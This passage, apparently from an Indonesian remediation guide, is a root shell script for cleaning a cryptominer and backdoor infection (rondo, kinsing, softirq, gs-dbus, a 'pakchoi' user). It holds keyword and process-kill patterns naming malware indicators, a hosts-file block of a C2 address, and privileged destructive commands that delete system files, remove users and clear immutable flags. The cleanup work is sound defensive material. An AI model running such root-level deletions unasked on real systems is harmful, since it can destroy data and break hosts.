4# 2. Bersihkan crontab (user + root)
5crontab -l | grep -vE 'rondo|pakchoi|re\.sh|rplant|80\.64' | crontab -
6python3 -c "
7import fcntl,struct,os
8p='/var/spool/cron/crontabs/root'
9fd=os.open(p,os.O_RDONLY|os.O_NONBLOCK)
10f=struct.unpack('I',fcntl.ioctl(fd,0x80086601,b'\x00'*4))[0]
11fcntl.ioctl(fd,0x40086602,struct.pack('I',f&~0x30))
12os.close(fd)
13lines=[l for l in open(p).readlines() if not any(x in l for x in ['rondo','pakchoi','80.64','re.sh'])]
14open(p,'w').writelines(lines)
15" 2>/dev/null
16
17# 3. Bersihkan cron.d
18python3 -c "
19import fcntl,struct,os
20p='/etc/cron.d/rondo'
21if os.path.exists(p):
22 fd=os.open(p,os.O_RDONLY|os.O_NONBLOCK)
23 f=struct.unpack('I',fcntl.ioctl(fd,0x80086601,b'\x00'*4))[0]
24 fcntl.ioctl(fd,0x40086602,struct.pack('I',f&~0x30))
25 os.close(fd)
26 os.unlink(p)
27" 2>/dev/null
28
29# 4. Bersihkan rc.local
30sed -i '/rondo\|softirq\|gs-dbus\|kinsing/d' /etc/rc.local 2>/dev/null
31
32# 5. Kill malware
33pkill -9 -f 'softirq|gs-dbus|rondo|bofnhpxcc' 2>/dev/null
34
35# 6. Hapus binary (dengan Python ioctl jika immutable)
36python3 -c "
37import fcntl,struct,os,shutil
38targets=['/usr/bin/softirq','/usr/bin/gs-dbus',
39 '/lib/systemd/system/gs-dbus.service','/lib/systemd/system/gs-dbus.dat',
40 '/etc/rondo','/var/tmp/config.json','/tmp/let','/dev/shm/let','/tmp/.update']
41for p in targets:
42 try:
43 if os.path.isfile(p):
44 fd=os.open(p,os.O_RDONLY|os.O_NONBLOCK)
45 f=struct.unpack('I',fcntl.ioctl(fd,0x80086601,b'\x00'*4))[0]
46 fcntl.ioctl(fd,0x40086602,struct.pack('I',f&~0x30))
47 os.close(fd)
48 (os.unlink(p) if os.path.isfile(p) else shutil.rmtree(p,ignore_errors=True))
49 print('removed',p)
50 except Exception as e: print('skip',p,e)
51" 2>/dev/null
52
53# 7. Hapus backdoor user
54userdel -r pakchoi 2>/dev/null
55rm -f /etc/sudoers.d/99-pakchoi
56
57# 8. Blokir C2
58chattr -ia /etc/hosts 2>/dev/null
59printf '0.0.0.0 eu.rplant.xyz\n0.0.0.0 rplant.xyz\n0.0.0.0 80.64.16.241\n' >> /etc/hosts
60chattr +i /etc/hosts 2>/dev/null
61
62# 9. Reload systemd
63systemctl daemon-reloadBab 5 — (Coming soon)